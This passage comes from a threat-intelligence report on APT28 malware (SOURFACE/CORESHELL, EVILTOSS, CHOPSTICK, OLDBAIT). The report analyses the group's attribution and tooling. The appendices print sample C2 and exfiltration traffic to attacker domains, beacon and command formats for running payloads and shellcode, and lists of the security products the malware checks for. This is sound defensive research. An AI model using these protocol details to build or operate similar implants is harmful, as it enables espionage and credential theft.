This would hinder static analysis of CORESHELL behavior by creating a large amount of unnecessary noise in the disassembly.
A number of CORESHELL droppers also conduct runtime checks, attempting to determine if they are executing in an analysis environment, and if so, they do not trigger their payloads.
Many samples across the SOURFACE/ CORESHELL, CHOPSTICK, and EVILTOSS 21  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
malware families obfuscate strings that are decoded at runtime.
Two of the malware families (SOURFACE/CORESHELL and EVILTOSS) use the same decryption sequence and similar algorithms for string encoding and decoding.
These families encode their strings at compile time using a custom stream cipher.
From a high level, these ciphers share a similar design across the malware families but differ slightly in the internal arithmetic operations.
APT28 has employed RSA encryption to protect files and stolen information moved from the victims network to the controller.
APT28 has made incremental and systematic changes to the SOURFACE downloader and its surrounding ecosystem since as early as 2007.
These changes indicate a long-standing and dedicated development effort behind APT28.
We have observed samples of the SOURFACE downloader compiled between 2007 and 2014.
We call SOURFACE (samples are frequently named netids.dll) a first stage downloader because its primary job is to retrieve a second stage payload from a C2 server.
Until 2013, the SOURFACE downloader used hard-coded IP addresses for C2 communications, whereas the future CORESHELL samples use domains.
EVOLUTION OF SOURFACE ECOSYSTEM INDICATES SYSTEMATIC DEVELOPMENT WHAT IS A MALWARE ECOSYSTEM?
First, a malware family is a collection of malware in which each sample shares a significant amount of code with all of the others.
There are exceptions: for example, some files contain public and standard code libraries that we do not take into consideration when making a family determination.
A malware ecosystem is a group of malware families that work together to perform the same objective.
Perhaps the simplest and most typical ecosystem is a dropper and a backdoor that are used together.
They may not share the same code structure, but they are related because one drops and installs the other.
The ecosystem surrounding the SOURFACE downloader frequently consists of a dropper, which installs SOURFACE.
The SOURFACE downloader then receives another dropper from its C2 server, and this second dropper installs a second stage backdoor, which is usually EVILTOSS.
22  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
In April 2013, based on compile time, the group began to make significant alterations to the SOURFACE downloader.
They started by changing the compiled DLL name to coreshell.dll and making minor changes to the network communications, as seen in Figure 7.
The hostname, volume serial number and OS version data are encoded in the new URL format.
As seen in the table below, the SOURFACE/ CORESHELL developers also made other modifications that changed the exported function name and file size over time.
17 SOURFACE with minor changes to network communications (see Figure 7).
18 Basic anti-debug measures added (process listing, rand timing, is DebuggerPresent).
19 Switches from loading a secondary DLL (netui.dll/WinIDS.dll) to uploading the contents of temp\chkdbg.log.
20 Statically links msvcrt library.
21 Statically links msvcrt library and the strings used to identify the imported libraries and functions are reversed prior to being used, then reversed back after use.
22This version added assembly level obfuscation, which slows down analysis.
This variant requires the OS to be at least Windows Vista.
Table 4:  Evolution of SOURFACE downloader over time MD5 Size Compile Date Export Name Notes 272f0fde35dbdfccbca1e33373b3570d 11264 2013-04-16 10:49:25 UTC Init1 17 8b92fe86c5b7a9e34f433a6fbac8bc3a 14848 2013-08-06 07:53:03 UTC Initialize 18 9eebfebe3987fec3c395594dc57a0c4c 12800 2013-08-14 10:48:59 UTC Initialize 19 da2a657dc69d7320f2ffc87013f257ad 12800 2013-08-21 07:52:10 UTC Initialize Same as previous.
1259c4fe5efd9bf07fc4c78466f2dd09 12800 2013-10-03 09:21:10 UTC Initialize Same as previous.
3b0ecd011500f61237c205834db0e13a 43520 2014-02-13 16:29:36 UTC Applicate 20 5882fda97fdf78b47081cc4105d44f7c 45056 2014-05-13 15:18:24 UTC Applicate 21 791428601ad12b9230b9ace4f2138713 45056 2014-05-13 16:42:26 UTC Applicate Same as previous.
ead4ec18ebce6890d20757bb9f5285b1 45056 2014-07-25 15:44:04 UTC Applicate Same as previous.
48656a93f9ba39410763a2196aabc67f 112640 2014-07-30 11:13:24 UTC Applicate 22 8c4fa713c5e2b009114adda758adc445 112640 2014-07-30 11:13:24 UTC Applicate Same as previous.
Figure 7: Example of modified SOURFACE vs. CORESHELL communications SOURFACE URL for a sample compiled April 2013: http://[hostname]/book/cgi-bin/brvc.cgi?WINXPSP3c95b87a4-05_01 CORESHELL URL for a sample compiled April 2013: http://[hostname]/xh/ch.cgi?enhkZm1GNmY1YWg0eGcxMGQ1MDUwMQ 23  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Figure 8: NATO-themed decoy delivered with possible EVILTOSS predecessor from 2004 Variants of the SOURFACE second stage backdoor, EVILTOSS, share some code similarities with SOURFACE.
However, it contains more capabilities, including the ability to provide access to the file system and registry, enumerate network resources, create processes, log keystrokes, access stored credentials, and execute shellcode.
The backdoor encrypts data that it uploads with an RSA public key.
Many of its variants we have seen are named netui.dll.
EVILTOSS variants may use the Simple Mail Transfer Protocol (SMTP) to send stolen data in an attachment named detaluri.
dat.
The backdoor attaches this file to a preformatted email and sends it out through a victims mail server.
Interestingly, we found an antivirus report from 200423  detailing what appears to be an early variant of EVILTOSS.
The backdoor was installed alongside the NATO-themed decoy document depicted in Figure 8.
The backdoor sent data via SMTP to nato_smtpmail[.
]ru and received its tasking via POP from nato_popmail[.
]ru.
Although we have not conclusively attributed this sample to APT28, it does suggest the possibility that APT28 has been operating since as early as 2004.24 23  http://ae.norton.com/security_response/print_writeup.jsp?docid2004-081915-1004-99 24 Although the malware family and interest in NATO make it likely that APT28 was involved, we cannot conclusively attribute this sample to APT28 based on these factors alone.
We have no evidence that they controlled the C2 for this malware or were using EVILTOSS in 2004.
APT28 could have possibly obtained this source code from another group of actors.
Also, malware can be passed from group to group.
The other malware that we associate with APT28 in this paper is more strongly attributed to the group using additional factors, some of which we mention in Appendix A.
In April 2013, based on compile time, the group began to make significant alterations to the SOURFACE downloader.
24  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
D uring our research, we discovered that APT28 uses a backdoor developed using a modular framework.
We call this backdoor CHOPSTICK, a somewhat ironic name that comes from our semi-random name generator.
The modular design allows flexible options for compiling variants with different capabilities as needed, as well as deploying additional capabilities at runtime.
This allows the developers to make targeted implants, including only the capabilities and protocols necessary for a specific environment.
Such a modular framework suggests the group has had an organized development effort since as early as 2007.
A formal development environment, in which code is versioned and well-organized, would almost certainly be required to track and define the various modules that can be included in the backdoor at compile time.
CHOPSTICK variants may move messages and information using at least three methods: 1.
Communications with a C2 server using HTTP.
These protocols are covered in more detail in Appendix D. 2.
Email sent through a specified mail server.
One CHOPSTICK v1 variant contained modules and functions for collecting keystroke logs, Microsoft Office documents, and PGP files.
The monitoring for new files of interest is performed by a Directory Observer module.
In one sample this information was intended to be sent via SMTP using a Georgian MIA mail server.
It used one of four embedded sender email addresses (mia.gov.ge) to send files via email to another email address on the same mail server.
All information required for the email was hardcoded in the backdoor.
3.
Local copying to defeat closed networks.
One variant of CHOPSTICK focuses on apparent air gap / closed network capabilities by routing messages between local directories, the registry and USB drives.
A modular development framework suggests the group has had an organized development effort since as early as 2007.
MODULAR IMPLANTS INDICATE A FORMAL DEVELOPMENT ENVIRONMENT 25  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
D uring our research into APT28s malware, we noted two details consistent across malware samples.
The first was that APT28 had consistently compiled Russian language settings into their malware.
The second was that malware compile times from 2007 to 2014 corresponded to normal business hours in the UTC 4 time zone, which includes major Russian cities such as Moscow and St. Petersburg.
Use of Russian and English Language Settings in PE Resources PE resources include language information that can be helpful if a developer wants to show user interface items in a specific language.25 Non-default language settings packaged with PE resources are dependent on the developers build environment.
Each PE resource includes a locale identifier with a language ID composed of a primary language identifier indicating the language and a sublanguage identifier indicating the country/region.26 At the time of the writing of this paper, we had identified 103 malware samples that were both attributed to APT28 and contained PE resources.
Table 5 shows the locale identifiers27 with associated language and country/region for these samples.
Table 5: Locale and language identifiers associated with APT28 malware Locale ID Primary language Country/Region Number of APT28 samples 0x0419 Russian (ru) Russia (RU) 59 0x0409 English (en) United States (US) 27 0x0000 or 0x0800 Neutral locale / System default locale language Neutral 16 0x0809 English (en) United Kingdom (GB) 1 APT28 MALWARE INDICATES RUSSIAN SPEAKERS IN A RUSSIAN TIME ZONE 25Microsoft Developer Network  Multiple Language Resources http://msdn.microsoft.com/en-us/library/cc194810.aspx 26, 27 Microsoft Developer Network  Language Identifier Constants and Strings http://msdn.microsoft.com/en-us/library/dd318693.aspx 26  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
The samples with Russian language settings were compiled between late 2007 and late 2013, as depicted in Figure 9.
This consistency over a long timeframe suggests that the developers of APT28 malware were using a build environment Figure 9: Number of APT28 samples with Russian language settings by compile month 2007 2008 2009 2010 2011 2012 2013 December March May August February May September February March August September October November December April June September December April May June July October December January July August October November December 0  1  2  3  4  5  6  7  8  9 with Russian language settings at least some of the time and made no effort to obscure this detail.
Overall, the locale IDs suggest that APT28 developers can operate in both Russian and English.
27  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Compile Times Align with Working Hours in Moscow and St. Petersburg Of the 140 malware samples that we have attributed to APT28 so far, over 89 were compiled between 0400 and 1400 UTC time, as depicted in Figure 10.
Over 96 were compiled between Monday and Friday.
This parallels the working hours in UTC0400 (that is, compile times begin about 8AM and end about 6PM in this time zone).
This time zone includes major Russian cities such as Moscow and St. Petersburg.
Figure 10: Compile Times of APT28 malware in UTC Time 0      1  2        3    4        5       6        7       8       9       10      11     12      13     14     15     16     17      18     19      20      21     22     23     24 FR EQ U EN C Y 20 18 16 14 12 10 8 6 4 2 Moscow business hours TIME OF DAY (UTC) 13:00 14:00 15:00 16:00 28  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
We started researching APT28 based on activity we observed on our clients networks, similar to other targeted threat groups we have identified over time.
We assess that APT28 is most likely sponsored by the Russian government.
We summarize our key observations about APT28 in Figure 11 below.
APT28s characteristicstheir targeting, malware, language, and working hourshave led us to conclude that we are tracking a focused, long- standing espionage effort.
Given the available data, we assess that APT28s work is sponsored by the Russian government.
CONCLUSION MALWARE Evolves and Maintains Tools for Continued, Long-Term Use Uses malware with flexible and lasting platforms Constantly evolves malware samples for continued use Malware is tailored to specific victims environments, and is designed to hamper reverse engineering efforts Development in a formal code development environment Various Data Theft Techniques Backdoors using HTTP protocol Backdoors using victim mail server Local copying to defeat closed/air gapped networks TARGETING Georgia and the Caucasus Ministry of Internal Affairs Ministry of Defense Journalist writing on Caucasus issues Kavkaz Center Eastern European Governments  Militaries Polish Government Hungarian Government Ministry of Foreign Affairs in Eastern Europe Baltic Host exercises Security-related Organizations NATO OSCE Defense attaches Defense events and exhibitions RUSSIAN ATTRIBUTES Russian Language Indicators Consistent use of Russian language in malware over a period of six years Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English Malware Compile Times Correspond to Work Day in Moscows Time Zone Consistent among APT28 samples with compile times from 2007 to 2014 The compile times align with the standard workday in the UTC  4 time zone which includes major Russian cities such as Moscow and St. Petersburg Figure 11: Summary of key observations about APT28 29  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
APPENDIX A: DISTINGUISHING THREAT GROUPS We use the term threat group to refer to actors who work together to target and penetrate networks of interest.
These individuals may share the same set of tasks, coordinate targets, and share tools and methodology.
They work together to gain access to their targets and steal data.
The art of attributing disparate intrusion activities to the same threat group is not always simple.
Different groups may use similar intrusion methodologies and common tools, particularly those that are widely available on the Internet, such as pwdump, HTran, or Gh0st RAT.
There may be overlaps between groups caused by the sharing of malware or exploits they have authored, or even the sharing of personnel.
Individual threat actors may move between groups either temporarily or permanently.
A threat actor may also be a private citizen who is hired by multiple groups.
Multiple groups, on occasion, compromise the same target within the same timeframe.
Distinguishing one threat group from another is possible with enough information, analytical experience, and tools to piece it all together.
We can analyze multiple incidents and tell by the evidence left behind that a given incident was the result of one threat group and not another.
Threat actors leave behind various forensic details.
They may send spear phishing emails from a specific IP address or email address.
Their emails may contain certain patterns files have specific names, MD5 hashes, timestamps, custom functions, and encryption algorithms.
Their backdoors may have command and control IP addresses or domain names embedded.
These are just a few examples of the myriad of forensic details that we consider when distinguishing one threat group from another.
At the most basic level, we say that two intrusion events are attributed to the same group when we have collected enough indicators to show beyond a reasonable doubt that the same actor or group of actors were involved.
We track all of the indicators and significant linkages associated with identified threat groups in a proprietary database that comprises millions of nodes and linkages between them.
In this way, we can always go back and answer why we associated cyber threat activity with a particular group.
30  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
APPENDIX B: TIMELINE OF APT28 LURES YEAR LURE TOPIC MALWARE 2010 Irans work with an international organization (internal document) SOURFACE 2011 File named military cooperation.doc SOURFACE, OLDBAIT 2011 Georgian language IT document for Ministry of Internal Affairs (internal document) SOURFACE 2011 USB Disk Security is the best software to block threats that can damage your PC or compromise your personal information via USB storage.
SOURFACE 2012 Food security in Africa (Food and nutrition crisis reaches peak but good forecast for 2013) SOURFACE 2012 IDF Soldier Killed and another injured in a Terror Attack SOURFACE 2012 Echo Crisis Report on Portugals forest fires SOURFACE 2012 FBI to monitor Facebook, Twitter, Myspace SOURFACE 2012 Georgia (US state, not the country of Georgia) murder case uncovers terror plot SOURFACE 2012 Military attaches in London (internal document) SOURFACE 2013 South Africa MFA document CHOPSTICK, CORESHELL 2013 John Shalikashvili (Georgian-Polish-American US General) Questionnaire CORESHELL 2013 Asia Pacific Economic Cooperation Summit 2013 reporters (internal document) SOURFACE 2013 Defense Attaches in Turkey (internal document) CHOPSTICK, CORESHELL 2013 Turkish Cypriot news about Syria chemical weapons CHOPSTICK, CORESHELL 2013 Georgian language document about drivers licenses (internal document) EVILTOSS 2013 Apparent Reason Magazine-related lure sent to a journalist CORESHELL 2014 Mandarin language document, possibly related to a Chinese aviation group (non-public document) CORESHELL 2014 Netherlands-Malaysia cessation of hostilities related to Ukraine airline attack CORESHELL 31  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
SOURFACE is a downloader that obtains a second stage backdoor from a C2 server.
Over time the downloader has evolved and the newer versions, usually compiled with the DLL name coreshell.dll, are distinct enough from the older versions that we refer to it as SOURFACE/CORESHELL or simply CORESHELL.
This appendix focuses on these newer versions.
CORESHELL uses two threads to communicate with its C2 server.
The first thread sends beacons that contain the process listing of the compromised host.
The second thread is responsible for downloading and executing stage APPENDIX C: SOURFACE/CORESHELL two payloads.
Messages are sent using HTTP POST requests whose bodies contain encrypted and Base64 encoded data.
The encryption algorithm is a custom stream cipher using a six-byte key.
Commands from the controller to the CORESHELL implant are encrypted using another stream cipher but this time using an eight-byte key.
CORESHELL has used the same user agent string (MSIE 8.0) that SOURFACE previously used, but in more recent samples CORESHELL uses the default Internet Explorer user agent string obtained from the system.
Figure 11 shows an example POST request.
Figure 11: Example CORESHELL POST request POST /check/ HTTP/1.1 User-Agent: MSIE 8.0 Host: adawareblock.com Content-Length: 58 Cache-Control: no-cache zXeuYqsq2m1a5HcqyC5Zd6yrC2WNYL989WCHse9qO6c7powrOUh5KY 32  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
When Base64 decoded, the POST content looks like this: 00000000 cd 77 ae 62 af ac ab 69 b5 6b 91 dc ab 20 b9 65 .w.b...i.k... .e 00000010 de b2 ac 2d 96 35 82 fd f3 d5 82 1e c7 bd a8 ee ...-.5.......... 00000020 9c ee 9a 30 ac e5 21 e4 a6 ...0....
The key used to encrypt the message is six bytes long and is appended to the end of the message.
In this is example the key would be: 30 ac e5 21 e4 a6.
When the message is decrypted, the resulting plaintext is: 00000000 00 72 68 64 6e 7a 78 64 66 6d 46 36 66 35 61 68 .rhdnzxdfmF6f5ah 00000010 34 78 67 30 34 30 33 30 35 30 31 1a 00 00 00 23 4xg04030501.... 00000020 00 00 00 ...
The following table contains a breakdown of each of the fields C2 message.
Table 6: Example CORESHELL beacon structure Offset Value Description 00 00 Command byte: 0 - Command request 1 - Process listing 01 rhdn Unknown - Potentially a campaign identifier.
Values seen so far: rhze, rhdn and mtfs.
05 zxdfmF6f5ah4xg Hostname of compromised system 13 0403 Unknown - Potentially a version number.
This number is hardcoded within the implant.
17 05 OS Major version 19 01 OS Minor version 1B 0x0000001a Header length minus the command byte (LE DWORD) 1F 0x00000023 Length of the entire message (LE DWORD) 33  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Commands are sent from the C2 server to the CORESHELL backdoor in HTTP responses to the POST requests.
The command is identified by the NULL terminated UNICODE string OK (O\x00\K\x00\x00\ x00).
The command is Base64 encoded and immediately follows the OK string.
Figure 12 shows a sample CORESHELL command: The Base64 decoded string is: 00000000 01 00 00 00 AA AA 01 01 01 01 01 01 01 01 10 41 ........ .......A 00000010 70 41 10 42 33 42 D3 43 F2 43 92 44 B5 44 55 45 pA.B3B.C .C.D.DUE 00000020 74 45 14 46 37 46 D7 tE.F7F.
The following table contains a description of each field in the command message: Figure 12: Example CORESHELL controller response HTTP/1.1 200 OK Content-Type: text/html charsetutf-8 Content-Length: 58 O.K...AQAAAKqqAQEBAQEBAQEVzPMEUUIzQtND8kOSRLVEVUV0RRRGN0bX Table 7: CORESHELL C2 message structure Offset Value Description 00 0x00000001 Constant value, must be set to 1 (LE DWORD) 04 AA AA Unknown - not referenced 06 01 01 01 01 01 01 01 01 Encryption key (8 bytes) 0E 10 41 70 41 10 42 33... Encrypted command 34  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
When the above command 10 41 70 41 10 42 33 is decrypted using the key 01 01 01 01 01 01 01 01 the following command message is produced: 00000000 04 CC C2 04 00 42 42 42 42 43 43 43 43 44 44 44 .....BBBBCCCCDDD 00000010 44 45 45 45 45 46 46 46 46                      DEEEEFFFF The implant supports the following four command identifiers from the controller as seen in Table 8.
The first byte of the command message specifies the command type and is immediately followed by the PE or shellcode to be executed.
In this example the command byte is 04 indicating the following bytes are shellcode.
If the command byte was 01, 02, or 03 the following bytes would be a DLL or EXE that would be written to disk and executed.
Table 8: CORESHELL commands Command ID Description 01 Save command data as LOCALAPPDATA\svchost.exe and execute using CreateProcess.
02 Save command data as LOCALAPPDATA\conhost.dll and execute using rundll32.exe \s\,1.
03 Save command data as LOCALAPPDATA\conhost.dll and execute using LoadLibrary.
04 Command data is a shell code and is executed using CreateThread.
35  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
CHOPSTICK is a backdoor that uses a modularized, object-oriented framework written in C. This framework allows for a diverse set of capabilities across malware variants sharing a common code base.
CHOPSTICK may communicate with external servers using SMTP or HTTP.
This appendix documents variants using HTTP communications.
The first time CHOPSTICK is executed, it may encrypt and store configuration data in the Registry key HKU\S-1-5-19_Classes\Software\Microsoft\MediaPlayer\E6696105-E63E-4EF1-939E- 15DDD83B669A\chnnl.
The user HKU\S-1-5-19 corresponds to the LOCAL_SERVICE account SID.
The configuration block is encrypted using RC4 encryption.
The key is a combination of a 50-byte static key and a four-byte salt value randomly generated at runtime.
The static key is derived from opcodes in the backdoor.
CHOPSTICK collects detailed information from the host including the Windows version, CPU architecture, Windows Firewall state, User Account Control (UAC) configuration settings on Windows Vista and above and Internet Explorer settings.
It also tests for the installation of specific security products (Table 9) and applications (Table 10).
Table 9: Endpoint security products detected by CHOPSTICK Service Name Security Product Acssrv Agnitum Client Security AVP Kaspersky SepMasterService Symantec McAfeeService McAfee AntiVirService Avira Ekrn ESET DrWebAVService Dr.
Web Enterprise Security MBAMService Malwarebytes Anti-Malware APPENDIX D: CHOPSTICK 36  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Table 10: Applications detected by CHOPSTICK Process Name Application firefox.exe Mozilla Firefox iexplore.exe Internet Explorer outlook.exe Microsoft Outlook opera.exe Opera Browser bat.exe Unknown msimn.exe Outlook Express vpngui.exe Cisco Anyconnect VPN client ipseca.exe IPsec VPN client ipsecc.exe IPsec VPN client openvpn.exe OpenVPN client openssl.exe OpenSSL openvpn-gui-1.0.3.exe OpenVPN client msmsgs.exe Microsoft Messenger wuauclt.exe Windows Update chrome.exe Google Chrome Browser thebat.exe The Bat Secure Email Client skype.exe Skype Messenger 37  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
After collecting host information, CHOPSTICK creates a hidden file that may be named ALLUSERSPROFILE\edg6EF885E2.tmp for temporary storage and creates a Windows mailslot with the name check_mes_v5555.28 Its usage of a Windows mailslot would potentially allow external binaries to write data to the check_mes_v5555 mailslot, possibly allowing CHOPSTICK to encrypt and store output from other malware.
It creates a thread that records user activity on the host, capturing desktop screenshots in JPEG format, tracks current window focus, collects keystrokes, and scrapes window contents (text, context menus, etc.
).
User activity is captured once every 500 milliseconds and logged in an HTML-like format.
The thread writes user activity log messages to the check_mes_v5555 mailslot in plain text.
CHOPSTICK reads messages from the mailslot, encrypts them using RC4, and then stores the encrypted message in an edg6EF885E2.tmp temporary file.
The RC4 encryption used here also uses a 50- byte static key plus four-byte random salt value.
After approximately 60 seconds of execution time, CHOPSTICK begins communicating with one of its C2 servers over HTTP.
After sending an initial HTTP GET request it uploads the file contents of edg6EF885E2.
tmp to the C2 server using HTTP POST requests.
It does not wait for a response from the server to begin uploading.
Once the contents of edg6EF885E2.tmp are uploaded, CHOPSTICK deletes the file.
Figure 13 below contains an example of an HTTP POST request uploading a segment from edg6EF885E2.tmp.
Figure 13: Sample CHOPSTICK v2 HTTP POST POST /search/?btnGD-3U5vYutm79iNIaiNPVUnAZf8FneZ2e_qptjzwH1QPG3ptn- B9onK2KCi HTTP/1.1 Accept: text/html,application/xhtmlxml,application/xmlq0.9,q0.8 Accept-Language: en-us,enq0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.
WOW64 rv:20.0) Gecko/20100101 Firefox/20.0 Host: windows-updater.com Content-Length: 77 Cache-Control: no-cache 1b2x7F4Rsi8_e4N_sYYpu1m7AJcgN6BzDpQYv1P2piFBLBqghXiHY3SIfe8cUHHYojeXfeyyOhw 28A mailslot is a Windows inter-process communication (IPC) mechanism similar to a named pipe, but is designed for one-way communications between processes and can also be used across the network.
38  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
CHOPSTICK uses a URL-safe Base64 encoding, using an alphabet that substitutes  and / for - and _, respectively.
Each HTTP request contains multiple Base64 encoded URL parameters, however only one parameter contains information encoded by the malware (ai) and the rest of the URL parameters appear to be randomly generated per request.
CHOPSTICK encrypts an 11-byte sequence in the ai parameter.
The purpose of this parameter appears to be to uniquely identify the particular instance of the backdoor to the C2 server.
The Base64 encoded text of this parameter begins with a number of randomly generated alphabetical characters presumably intended to prevent people from Base64 decoding the whole string without some knowledge of how the malware family works.
The first four bytes of the message are an XOR key for the remainder of the data.
Once decrypted using the XOR key, an 11-byte sequence is revealed.
The first seven bytes are static, and are hard-coded in CHOPSTICK, while the last four bytes appear to be unique.
The message body of the POST request is also Base64 encoded.
This encoded string is also prefixed with random characters designed to break the output of a Base64 decode operation on the entire string.
The first 15 bytes of the decoded message body comprise another 11-byte sequence similar to the sequence stored in the ai parameter as described above.
Decrypting these bytes yields another static seven-byte sequence, followed by four unique bytes.
The remainder of the message body consists of the RC4 encrypted data containing the HTML-formatted user activity log, edg6EF885E2.tmp.
After uploading edg6EF885E2.tmp, CHOPSTICK continues to query its C2 servers for commands using HTTP GET requests.
The malware contains code which allows it to load or memory-map external modules that export the following functions: SendRawPacket, GetRawPacket, InitializeExp, DestroyExp, IsActiveChannel, GetChannelInfo, SetChannelInfo, Run, GetModuleInfo, GiveMessage, and TakeMessage.
39  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Modularity CHOPSTICK backdoors are compiled within a modularized development framework.
This means that two separate CHOPSTICK backdoors may contain vastly different functionality, depending on which modules were included at compile time.
The modules that are included in an instance of CHOPSTICK may be reported to the C2 server as part of POST messages.
Figure 14 includes an example from a CHOPSTICK v1 variant: Figure 14: Sample CHOPSTICK v1 HTTP POST including module identification POST /webhp?relpsyhl7aid2SSzFKlR4l0dRd_ZdyiwE17aTzOPeP-PVsYh1lVAXpLhIebB4 HTTP/1.1 Accept: text/html,application/xhtmlxml,application/xmlq0.9,/q0.8 Accept-Language: en-us,enq0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.
WOW64 rv:20.0) Gecko/20100101 Firefox/20.0 Host: adobeincorp.com Content-Length: 71 Cache-Control: no-cache d2SSzFKchH9IvjcM55eQCTbMbVAU7mR0IK6pNOrbFoF7Br0Pi__0u3Sf1Oh30_HufqHiDU 40  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
To decode the POST content, the first step is to remove characters from the Base64 string (the number of characters to remove may vary between different communication channels).
In the example from Figure 14, the number of characters removed is seven.
Once these characters are removed the decoded (but still encrypted) text looks like this: 00000000 72 11 fd 22 f8 dc 33 9e 5e 40 24 db 31 b5 40 53 r....3..1.S 00000010 b9 91 d0 82 ba a4 d3 ab 6c 5a 05 ec 1a f4 3e 2f ........lZ..../ 00000020 ff d2 ed d2 7f 53 a1 df 4f c7 b9 fa 87 88 35 .....S..O.....5 The first two words (72 11 and fd 22) are checksums that are used to validate the message.
The next 4 bytes f8 dc 33 9e are a salt value that is appended to the end of an RC4 key.
Once decrypted, the message looks like the following: 00000000 72 11 fd 22 f8 dc 33 9e 56 34 4d 47 4e 78 5a 57 r....3.V4MGNxZW 00000010 6c 76 63 6d 68 6a 4f 47 39 79 5a 51 3d 3c 3c ee lvcmhjOG9yZQ.
00000020 01 00 00 01 00 23 01 10 23 01 11 23 01 13 23 ...........
The strings V4MGNxZWlvcmhjOG9yZQ and \xee are hardcoded in the implant.
The module information starts at offset 0x20 with the string 01 00 00 and is formatted as follows: Table 11: Example CHOPSTICK v1 message format Offset Value Description 00 0x0001 Message from the AgentKernel v1 02 00 Command ID 03 01 00 23 01 10 23 01 11 23 01 13 23 List of modules included in the implant separated by a  character 41  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
The modules included in this CHOPSTICK v1 implant are: Our determination of a CHOPSTICK v1 versus v2 is based on the self-identification of the kernel ID and associated modules.
Compare the list of CHOPSTICK v1 modules in Table 12 with the list of modules in an example CHOPSTICK v2 variant in Table 13: Table 12: Example CHOPSTICK v1 module list Module ID Internal Module Name Description 0x0001 AgentKernel Kernel, probably version 1.
Handles communication between modules and C2 tunnels.
0x1001 modKey Logs keystrokes and takes screen captures.
0x1101 modFS Facilitates file system access, such as directory browsing along with reading, deleting and opening files.
0x1301 modProcRet Remote command shell access.
Table 13: Example CHOPSTICK v2 module list Module ID Internal Module Name Description 0x0002 kernel Kernel, probably version 2.
Handles communication between modules and C2 tunnels.
0x1002 Logs keystrokes and takes screen captures.
0x1102 Facilitates filesystem access, such as directory browsing along with reading, deleting and opening files.
0x1302 Remote command shell access.
0x1602 Load additional DLLs.
42  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
The kernel IDs 0x0001 and 0x0002 indicate different versions.
The corresponding modules in each backdoor also are consistently identified with 0x01 and 0x02, respectively, in the second byte.
In both variants the modules with keystroke log, file system access, and command shell capabilities have the consistent identifiers 0x10, 0x11, and 0x13, respectively, in the first byte.
This suggests that the first byte in the module ID identifies the module type whereas the second byte identifies the kernel version.
The kernel sends commands to each module using its module ID.
The commands that each module understands are likely consistent from build to build.
Table 14 and Table 15 show examples of commands that each module understands.
Table 14: Commands understood by modFS (0x1101) module Command ID Description Example 01 Find file \x01\x11\x01Directoryfile[01] 02 Read file \x01\x11\x02Directoryfile[01] 03 Write file \x01\x11\x03Directoryfile[Contents] 04 Delete file \x01\x11\x04Directoryfile[01] 05 Execute file \x01\x11\x05Directoryfile[01] Table 15: Commands understood by modProcRet (0x1301) module Command ID Description Example 00 CMD.exe output \x01\x13\x00[Output] 01 CMD.exe start \x01\x13\x01 02 CMD.exe exit \x01\x13\x02 11 CMD.exe input \x01\x13\x11[Input] 43  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
OLDBAIT is a credential harvester that installs itself in ALLUSERPROFILE\\Application Data\ Microsoft\MediaPlayer\updatewindws.exe.
There is a missing space in the MediaPlayer directory and the filename is missing the o character.
Both the internal strings and logic are obfuscated and are unpacked at startup.
Credentials for the following applications are collected: Internet Explorer Mozilla Firefox Eudora The Bat (an email client made by a Moldovan company) Becky (an email client made by a Japanese company) Both email and HTTP can be used to send out the collected credentials.
Sample HTTP traffic is displayed in Figure 15.
Figure 15: Example OLDBAIT HTTP traffic POST /index.php HTTP/1.0 Accept: text/html Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Content-Length: 6482 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) Host: windous.kz Connection: Keep-Alive Pragma: no-cache prefsC789Cu0Zacq7acr0D7LUawy6CY4REIaZBciWc6yVCN--cut-- APPENDIX E: OLDBAIT 44  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
OLDBAIT handles APIs very similarly to SOURFACE and EVILTOSS.
There is a setup routine that loads the imports into a table and all API calls reference an index to this table.
In SOURFACE and EVILTOSS the table is stored in a global variable while in OLDBAIT this table is allocated at runtime and a pointer is passed between functions.
Figure 16: Example OLDBAIT SMTP traffic From: lisa.cuddywind0ws.kz To: dr.housewind0ws.kz Subject: photo(9a3d8ea4-test) Date: Tue, 23 Sep 2014 15:42:56 -0500 MIME-Version: 1.0 Content-Type: text/plain charsetus-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2670 X-MimeOLE: Produced By Microsoft MimeOLE v6.00.2900.2670 X-Spam: Not detected STARTPOINT qVV5KyHocV3FkUeENvu9LnVIlRB0YTa7xhoTwhRlIBBI7gRzVxikQXDRkdy4vGt1WfBtg9Utzbny UhusXJHZ9Esecqq0UKg5Ul1O2E2OiyBTnGDPdP00UMRx/E2it/10wQyH/epo8zuLnCuxPe7BK --cut--- hUMWBLP7h5ZojN ENDPOINT 45  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
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SP.APT28.EN-US.102014
Systematic cyber attacks against Israeli and Palestinian targets going on for a year By Snorre Fagerland Principal Security Researcher Norman AS, November 2012 Norman, November 2012   2 Summary We have observed multiple probable malware attacks against Israeli and Palestinian targets.
